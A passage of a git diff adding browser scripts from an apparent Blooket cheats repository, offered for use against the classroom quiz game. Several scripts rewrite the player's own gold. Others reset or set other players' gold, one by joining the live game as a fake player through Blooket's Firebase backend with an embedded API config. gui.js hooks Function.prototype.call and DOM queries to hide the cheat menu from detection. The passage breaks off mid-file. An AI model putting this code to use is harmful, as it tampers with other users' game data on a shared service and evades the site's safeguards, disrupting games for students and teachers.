newline at end of file diff --git a/cheats/gold/resetAllGold.min.js b/cheats/gold/resetAllGold.min.js new file mode 100644 index 0000000..721446e --- /dev/null +++ b/cheats/gold/resetAllGold.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tresetAllGold.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const c=async()=>{var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove();let{props:o,state:n}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],a=0;o.liveGameController.getDatabaseVal("c",async e=>{if(e)for(const t of Object.keys(e))o.liveGameController.setVal({path:"c/".concat(o.client.name),val:{b:o.client.blook,g:n.gold,tat:t+":swap:0"}}),a++,await new Promise(e=>setTimeout(e,4e3));alert(`Reset ${a} players' gold!`)})};let s=new Image;s.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/gold/resetAllGold.png?"+Date.now(),s.crossOrigin="Anonymous",s.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(s,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(s.src=null,c())})(); \ No newline at end of file diff --git a/cheats/gold/resetPlayersGold.js b/cheats/gold/resetPlayersGold.js new file mode 100644 index 0000000..1bb3270 --- /dev/null +++ b/cheats/gold/resetPlayersGold.js @@ -0,0 +1,53 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let player = prompt("Who's gold would you like to reset?"); + let { stateNode: { props, state } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.props.liveGameController.getDatabaseVal("c", (players) => { + if (players && Object.keys(players).map(x=>x.toLowerCase()).includes(player.toLowerCase())) props.liveGameController.setVal({ + path: "c/".concat(props.client.name), + val: { + b: props.client.blook, + g: state.gold, + tat: `${player}:swap:0` + } + }); + }) + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/gold/resetPlayersGold.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272296 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/gold/resetPlayersGold.min.js b/cheats/gold/resetPlayersGold.min.js new file mode 100644 index 0000000..e9aa749 --- /dev/null +++ b/cheats/gold/resetPlayersGold.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let l=document.querySelector("iframe");l.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),l.contentWindow.console.log.call(window,"%c\tresetPlayersGold.js","color: #0bc2cf; font-size: 1rem"),l.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const c=async()=>{var e=document.createElement("iframe");document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove();let t=prompt("Who's gold would you like to reset?"),{props:o,state:n}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];stateNode.props.liveGameController.getDatabaseVal("c",e=>{e&&Object.keys(e).map(e=>e.toLowerCase()).includes(t.toLowerCase())&&o.liveGameController.setVal({path:"c/".concat(o.client.name),val:{b:o.client.blook,g:n.gold,tat:t+":swap:0"}})})};let s=new Image;s.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/gold/resetPlayersGold.png?"+Date.now(),s.crossOrigin="Anonymous",s.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(s,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(s.src=null,c())})(); \ No newline at end of file diff --git a/cheats/gold/setGold.js b/cheats/gold/setGold.js new file mode 100644 index 0000000..f485db6 --- /dev/null +++ b/cheats/gold/setGold.js @@ -0,0 +1,51 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let gold = Number(parseInt(prompt("How much gold would you like?"))); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ gold, gold2: gold }); + stateNode.props.liveGameController.setVal({ + path: "c/".concat(stateNode.props.client.name), + val: { + b: stateNode.props.client.blook, + g: gold + } + }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/gold/setGold.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272304 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/gold/setGold.min.js b/cheats/gold/setGold.min.js new file mode 100644 index 0000000..ccd1146 --- /dev/null +++ b/cheats/gold/setGold.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tsetGold.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const l=async()=>{var o=document.createElement("iframe"),o=(document.body.append(o),window.prompt=o.contentWindow.prompt.bind(window),o.remove(),Number(parseInt(prompt("How much gold would you like?")))),e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.setState({gold:o,gold2:o}),e.props.liveGameController.setVal({path:"c/".concat(e.props.client.name),val:{b:e.props.client.blook,g:o}})};let s=new Image;s.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/gold/setGold.png?"+Date.now(),s.crossOrigin="Anonymous",s.onload=function(){var o=document.createElement("canvas").getContext("2d");o.drawImage(s,0,0,this.width,this.height);let e=o.getImageData(0,0,this.width,this.height)["data"],t="",n;for(let o=0;o(s.src=null,l())})(); \ No newline at end of file diff --git a/cheats/gold/setPlayersGold.js b/cheats/gold/setPlayersGold.js new file mode 100644 index 0000000..79a9d74 --- /dev/null +++ b/cheats/gold/setPlayersGold.js @@ -0,0 +1,75 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let player = prompt("Who's gold would you like to set?"); + let gold = parseInt(prompt("How much gold would you like to set?")); + let { stateNode: { props, state } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + + let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]); + const axios = Object.values(webpack.c).find((x) => x.exports?.a?.get).exports.a; + const firebase = Object.values(webpack.c).find(x => x.exports?.a?.initializeApp).exports.a; + + const name = `Blooket${(Date.now()/10000).toFixed(0)}`; + const id = props.liveGameController._liveGameCode; + const { data: { success, fbToken, fbShardURL } } = await axios.put("https://fb.blooket.com/c/firebase/join", { id, name }); + if (success) { + const liveApp = firebase.initializeApp({ + apiKey: "AIzaSyCA-cTOnX19f6LFnDVVsHXya3k6ByP_MnU", + authDomain: "blooket-2020.firebaseapp.com", + projectId: "blooket-2020", + storageBucket: "blooket-2020.appspot.com", + messagingSenderId: "741533559105", + appId: "1:741533559105:web:b8cbb10e6123f2913519c0", + measurementId: "G-S3H5NGN10Z", + databaseURL: fbShardURL + }, name); + const auth = firebase.auth(liveApp); + await auth.setPersistence(firebase.auth.Auth.Persistence.NONE).catch(console.error); + await auth.signInWithCustomToken(fbToken).catch(console.error); + await liveApp.database().ref(`${id}/c/${name}`).set({ + b: props.client.blook, + g: state.gold, + tat: `${player}:swap:${gold}` + }); + await new Promise(r => setTimeout(r, 4000)); + await liveApp.database().ref(`${id}/c${name}`).remove(); + liveApp.delete(); + } + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/gold/setPlayersGold.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272309 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/gold/setPlayersGold.min.js b/cheats/gold/setPlayersGold.min.js new file mode 100644 index 0000000..1b17814 --- /dev/null +++ b/cheats/gold/setPlayersGold.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tsetPlayersGold.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const c=async()=>{var e=document.createElement("iframe"),e=(document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),prompt("Who's gold would you like to set?")),t=parseInt(prompt("How much gold would you like to set?")),{props:o,state:a}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],n=webpackJsonp.push([[],{[1234]:(e,t,o)=>{t.webpack=o}},[["1234"]]])["webpack"],s=Object.values(n.c).find(e=>e.exports?.a?.get).exports.a,n=Object.values(n.c).find(e=>e.exports?.a?.initializeApp).exports.a,r="Blooket"+(Date.now()/1e4).toFixed(0),c=o.liveGameController._liveGameCode,{success:s,fbToken:i,fbShardURL:l}=(await s.put("https://fb.blooket.com/c/firebase/join",{id:c,name:r}))["data"];s&&(s=n.initializeApp({apiKey:"AIzaSyCA-cTOnX19f6LFnDVVsHXya3k6ByP_MnU",authDomain:"blooket-2020.firebaseapp.com",projectId:"blooket-2020",storageBucket:"blooket-2020.appspot.com",messagingSenderId:"741533559105",appId:"1:741533559105:web:b8cbb10e6123f2913519c0",measurementId:"G-S3H5NGN10Z",databaseURL:l},r),await(l=n.auth(s)).setPersistence(n.auth.Auth.Persistence.NONE).catch(console.error),await l.signInWithCustomToken(i).catch(console.error),await s.database().ref(c+"/c/"+r).set({b:o.client.blook,g:a.gold,tat:e+":swap:"+t}),await new Promise(e=>setTimeout(e,4e3)),await s.database().ref(c+"/c"+r).remove(),s.delete())};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/gold/setPlayersGold.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(i,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",a;for(let e=0;e(i.src=null,c())})(); \ No newline at end of file diff --git a/cheats/gold/swapGold.js b/cheats/gold/swapGold.js new file mode 100644 index 0000000..00a4e2f --- /dev/null +++ b/cheats/gold/swapGold.js @@ -0,0 +1,49 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.props.liveGameController.getDatabaseVal("c", (players) => { + stateNode.setState({ + players: (players ? Object.entries(players).map(([name, { b, g }]) => ({ + name, blook: b, gold: g || 0 + })).filter((e) => e.name != stateNode.props.client.name).sort(({ gold }, { gold: gold2 }) => gold2 - gold) : []), + ready: true, + phaseTwo: true, + stage: "prize", + choiceObj: { type: "swap" } + }); + }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/gold/swapGold.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272313 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/gold/swapGold.min.js b/cheats/gold/swapGold.min.js new file mode 100644 index 0000000..b4f745c --- /dev/null +++ b/cheats/gold/swapGold.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let l=document.querySelector("iframe");l.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),l.contentWindow.console.log.call(window,"%c\tswapGold.js","color: #0bc2cf; font-size: 1rem"),l.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const c=async()=>{let t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.props.liveGameController.getDatabaseVal("c",e=>{t.setState({players:e?Object.entries(e).map(([e,{b:t,g:o}])=>({name:e,blook:t,gold:o||0})).filter(e=>e.name!=t.props.client.name).sort(({gold:e},{gold:t})=>t-e):[],ready:!0,phaseTwo:!0,stage:"prize",choiceObj:{type:"swap"}})})};let s=new Image;s.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/gold/swapGold.png?"+Date.now(),s.crossOrigin="Anonymous",s.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(s,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",a;for(let e=0;e(s.src=null,c())})(); \ No newline at end of file diff --git a/cheats/gui.js b/cheats/gui.js new file mode 100644 index 0000000..1a91a9f --- /dev/null +++ b/cheats/gui.js @@ -0,0 +1,3711 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + if (String(Function.prototype.call).includes('native')) { + let call = Function.prototype.call; + let iframe = document.createElement("iframe"); + document.body.append(iframe); + iframe.style.display = "none"; + let funcs = { + querySelectorAll: function () { + if (["#JODGUI", "#JODMOBILE", "#currPageEl", "#YTRkNmM2MWEtOTg3Zi00YmE1LWI1NzUtNTgyOTUzMWI4ZDYx", "#ODJkMThlMDEtYmEwNi00MzE4LTg4ZGMtM2Y2ZDI0MzY4ZjU2", ".cheatList", ".cheatName", "bG1mYW8=", "#aXQncyBjYXQgYW5kIG1vdXNlIGF0IHRoaXMgcG9pbnQ"].includes(arguments[0])) + return []; + return iframe.contentDocument.querySelectorAll.apply(document, arguments); + }, + querySelector: iframe.contentDocument.querySelector.bind(document), + includes: function () { + if (["Cheats", "Global", "Global Cheats", "Discord - oneminesraft2", "Auto Answer (Toggle)", "Auto Sell Dupes On Open", "Spam Buy Blooks", "Food Game", "Change Blook Ingame", "Get Daily Rewards", "Remove Name Limit", "Simulate Unlock", "Cheat ESP", "Gold Quest Cheats", "Cafe Cheats", "Crypto Hack Cheats", "Deceptive Dinos Cheats", "Tower Defense Cheats", "Tower Defense2 Cheats", "Factory Cheats", "Fishing Frenzy Cheats", "Flappy Blook Cheats", "Tower of Doom Cheats", "Crazy Kingdom Cheats", "Racing Cheats", "Battle Royale Cheats", "Blook Rush Cheats", "Monster Brawl Cheats", "Santa's Workshop Cheats"].includes(arguments[0])) + return false; + return iframe.contentWindow.String.prototype.call(this, arguments); + }, + fetch: iframe.contentWindow.fetch.bind(window), + btoa: iframe.contentWindow.btoa.bind(window), + getItem: iframe.contentWindow.localStorage.getItem.bind(window.localStorage) + }, funcNames = Object.keys(funcs); + Function.prototype.call = function () { + if (funcNames.includes(this.name)) return call.apply(funcs[this.name], arguments); + return call.apply(this, arguments) + } + } + function createElement(node, props = {}, ...children) { + const element = document.createElement(node); + if (typeof props.style == "object") { + let result = ""; + for (const style in props.style) result += `${style.replace(/[A-Z]/g, match => `-${match.toLowerCase()}`)}: ${props.style[style]}; `; + props.style = result; + } + for (const prop in props) element[prop] = props[prop]; + for (const child of children) element.append(child); + return element; + } + let userData = await Object.values(webpackJsonp.push([[], { ['']: (_, a, b) => { a.cache = b.c }, }, [['']]]).cache).find(x => x.exports.a?.me).exports.a.me({}) || {}; + let settings, settingsKey = btoa(userData.name || "real"), guiId = btoa(userData.id || "lmfao").replaceAll(/(=|\/|\.)/g, ""); + const Settings = { + data: null, + setItem(k, v) { + k.split('.').reduce((obj, k, i, a) => (++i == a.length && (obj[k] = v), obj[k]), this.data); + localStorage.setItem(settingsKey, JSON.stringify(this.data)); + return this.data; + }, + deleteItem(k) { + k.split('.').reduce((obj, k, i, a) => (++i == a.length && (delete obj[k]), obj[k]), this.data); + localStorage.setItem(settingsKey, JSON.stringify(this.data)); + return this.data; + }, + setData(v) { + this.data = v; + localStorage.setItem(settingsKey, JSON.stringify(this.data)); + } + } + try { + Settings.data = JSON.parse(localStorage.getItem(settingsKey) || "{}"); + for (const setting of ["backgroundColor", "cheatList", "contentBackground", "defaultButton", "disabledButton", "enabledButton", "infoColor", "inputColor", "textColor"]) if (Settings.data[setting]) { + Settings.setItem(`theme.${setting}`, Settings.data[setting]); + Settings.deleteItem(setting); + } + } catch { + Settings.setData({}); + } + let variables, gui, cheatContainer, controls, controlButtons, dragButton, content, tooltip, cheats, headerText; + const guiWrapper = createElement("div", { + id: guiId, style: { + top: `${(Math.max(10, window.innerHeight - 600) / 2)}px`, + left: `${(Math.max(10, window.innerWidth - 1000) / 2)}px`, + transform: `scale(${Settings.data.scale})`, + position: "fixed", height: "80%", width: "80%", maxHeight: "600px", maxWidth: "1000px", zIndex: "999", display: "block", + } + }, + (variables = createElement("style", { + id: "variables", + innerHTML: `:root {--backgroundColor: ${Settings.data?.theme?.backgroundColor || "rgb(11, 194, 207)"};--infoColor: ${Settings.data?.theme?.infoColor || "#9a49aa"};--cheatList: ${Settings.data?.theme?.cheatList || "#9a49aa"};--defaultButton: ${Settings.data?.theme?.defaultButton || "#9a49aa"};--disabledButton: ${Settings.data?.theme?.disabledButton || "#A02626"};--enabledButton: ${Settings.data?.theme?.enabledButton || "#47A547"};--textColor: ${Settings.data?.theme?.textColor || "white"};--inputColor: ${Settings.data?.theme?.inputColor || "#7a039d"};--contentBackground: ${Settings.data?.theme?.contentBackground || "rgb(64, 17, 95)"};}` + })), + createElement("style", { + innerHTML: `.alertList::-webkit-scrollbar{display:none;}.alertList{-ms-overflow-style: none;scrollbar-width: none;}.contentWrapper::-webkit-scrollbar{display:none;}.contentWrapper{-ms-overflow-style: none;scrollbar-width: none;}.cheatButton{position:relative;display:flex;flex-direction:row;align-items:center;min-height:40px;width:190px;margin:4px 0;padding-left:30px;box-sizing:border-box;cursor:pointer;user-select:none;text-decoration:none;border-top-right-radius:5px;border-bottom-right-radius:5px;background-color:transparent;color:var(--textColor);transition:.2s linear;font-size:20px;font-weight:400;font-family:Nunito;text-decoration-thickness:auto}.cheatButton:hover{background-color:var(--textColor);color:var(--defaultButton)}.cheatInput,select{min-width:200px;padding-block:5px;font-family:Nunito,sans-serif;font-weight:400;font-size:16px;background-color:var(--inputColor);box-shadow:inset 0 6px rgb(0 0 0 / 20%);margin:3px;color:var(--textColor)}.bigButton:hover{filter:brightness(110%);transform:translateY(-2px)}.bigButton:active{transform:translateY(2px)}.cheatList::-webkit-scrollbar{width:10px}.cheatList::-webkit-scrollbar-track{background:var(--cheatList)}.cheatList::-webkit-scrollbar-thumb{background:var(--cheatList);box-shadow: inset -10px 0 rgb(0 0 0 / 20%)}.cheatList::-webkit-scrollbar-thumb:hover{background:var(--cheatList); box-shadow: inset -10px 0 rgb(0 0 0 / 30%); }.scriptButton:hover{filter:brightness(120%)}.cheatInput{max-width:200px;border:none;border-radius:7px;caret-color:var(--textColor)}.cheatInput::placeholder{color:var(--textColor)}.cheatInput:focus,select:focus{outline:0}.cheatInput::-webkit-inner-spin-button,.cheatInput::-webkit-outer-spin-button{-webkit-appearance:none;margin:0}.cheatInput[type=number]{-moz-appearance:textfield}select{border:none;border-radius:7px;text-align:center}.scriptButton{align-items: center; box-sizing: border-box; display: flex; flex-direction: column; justify-content: center; margin: 10px; padding: 5px 5px 11px; position: relative; width: 250px; font-family: Nunito, sans-serif; font-weight: 400; color: var(--textColor); box-shadow: inset 0 -6px rgb(0 0 0 / 20%); border-radius: 7px; cursor: pointer; transition: filter .25s;}.tooltip::after {content: "";position: absolute;width: 10px;height: 10px;background-color: inherit;top: -5px;left: 50%;margin-left: -6px;transform: rotate(135deg)}` + }), + (gui = createElement("div", { + style: { + width: "100%", + height: "100%", + position: "relative", + outline: "3px solid #3a3a3a", + borderRadius: "15px", + overflow: "hidden" + } + }, + createElement("div", { + id: "background", + style: { + display: "block", + top: "0", + left: "0", + height: "100%", + overflowY: "hidden", + overflowX: "hidden", + position: "absolute", + width: "100%", + background: "var(--backgroundColor)", + visibility: "visible" + } + }, + createElement("div", { + id: "backgroundImage", + style: { + backgroundImage: "url(https://ac.blooket.com/dashboard/65a43218fd1cabe52bdf1cda34613e9e.png)", + display: "block", + height: "200%", + position: "absolute", + width: "200%", + top: "50%", + left: "50%", + backgroundPositionX: "-100px", + backgroundPositionY: "-100px", + backgroundSize: "550px", + visibility: "visible", + transform: "translate(-50%,-50%) rotate(15deg)", + appearance: "none", + opacity: "0.175" + } + })), + (controls = createElement("div", { + id: "controls", + style: { + display: "flex", + alignItems: "center", + justifyContent: "center", + paddingBottom: "8px", + paddingInline: "15px", + position: "absolute", + left: "220px", + top: "0", + visibility: "visible", + zIndex: "5", + height: "52px", + width: "max-content", + background: "var(--infoColor)", + boxShadow: "inset 0 -8px rgb(0 0 0 / 20%), 0 0 4px rgb(0 0 0 / 15%)", + borderBottomRightRadius: "10px", + color: "var(--textColor)", + fontFamily: "Nunito, sans-serif", + fontWeight: "700", + userSelect: "text" + }, + innerText: (({ ctrl: ctrlHide, shift: shiftHide, alt: altHide, key: keyHide } = { ctrl: true, key: "e" }, { ctrl: ctrlClose, shift: shiftClose, alt: altClose, key: keyClose } = { ctrl: true, key: "x" }) => `${[ctrlHide && "Ctrl", shiftHide && "Shift", altHide && "Alt", keyHide && keyHide.toUpperCase()].filter(Boolean).join(' + ')} to hide | ${[ctrlClose && "Ctrl", shiftClose && "Shift", altClose && "Alt", keyClose && keyClose.toUpperCase()].filter(Boolean).join(' + ')} for quick disable\nClick and drag here`)(Settings.data.hide || { ctrl: true, key: "e" }, Settings.data.close || { ctrl: true, key: "x" }), + update: (({ ctrl: ctrlHide, shift: shiftHide, alt: altHide, key: keyHide } = { ctrl: true, key: "e" }, { ctrl: ctrlClose, shift: shiftClose, alt: altClose, key: keyClose } = { ctrl: true, key: "x" }) => controls.innerText = `${[ctrlHide && "Ctrl", shiftHide && "Shift", altHide && "Alt", keyHide && keyHide.toUpperCase()].filter(Boolean).join(' + ')} to hide | ${[ctrlClose && "Ctrl", shiftClose && "Shift", altClose && "Alt", keyClose && keyClose.toUpperCase()].filter(Boolean).join(' + ')} for quick disable\nClick and drag here`) + })), + createElement("div", { + id: "credits", + style: { + display: "flex", + alignItems: "center", + justifyContent: "center", + paddingBottom: "8px", + position: "absolute", + right: "0", + top: "0", + visibility: "visible", + zIndex: "5", + height: "47px", + width: "210px", + background: "var(--infoColor)", + boxShadow: "inset 0 -8px rgb(0 0 0 / 20%), 0 0 4px rgb(0 0 0 / 15%)", + borderBottomLeftRadius: "10px", + color: "var(--textColor)", + fontFamily: "Nunito, sans-serif", + fontWeight: "700", + userSelect: "text" + }, + innerHTML: "GitHub - 05Konz" + }), + (controlButtons = createElement("div", { + id: "controlButtons", + style: { + display: "flex", + alignItems: "center", + justifyContent: "center", + position: "absolute", + right: "0", + bottom: "0", + visibility: "visible", + zIndex: "5", + height: "55px", + width: "165px", + background: "#none", + borderLeft: "3px solid black", + borderTop: "3px solid black", + borderTopLeftRadius: "10px", + color: "white", + fontFamily: "Nunito, sans-serif", + fontWeight: "700", + userSelect: "text", + overflow: "hidden", + pointerEvents: "all" + } + }, + (dragButton = createElement("button", { + style: { + height: "55px", + width: "55px", + fontFamily: "Nunito", + color: "white", + backgroundColor: "#00a0ff", + border: "none", + fontSize: "2rem", + cursor: "move" + }, + innerHTML: "✥" + })), + createElement("button", { + style: { + height: "55px", + width: "55px", + fontFamily: "Nunito", + color: "white", + backgroundColor: "grey", + border: "none", + fontSize: "2rem", + fontWeight: "bolder", + cursor: "pointer" + }, + innerHTML: "-", + onclick: (function () { + let hidden = false; + return () => { + for (let child of [...gui.children]) { + if (child == controlButtons) continue; + if (hidden) child.style.display = child.style._display; + else { + child.style._display = 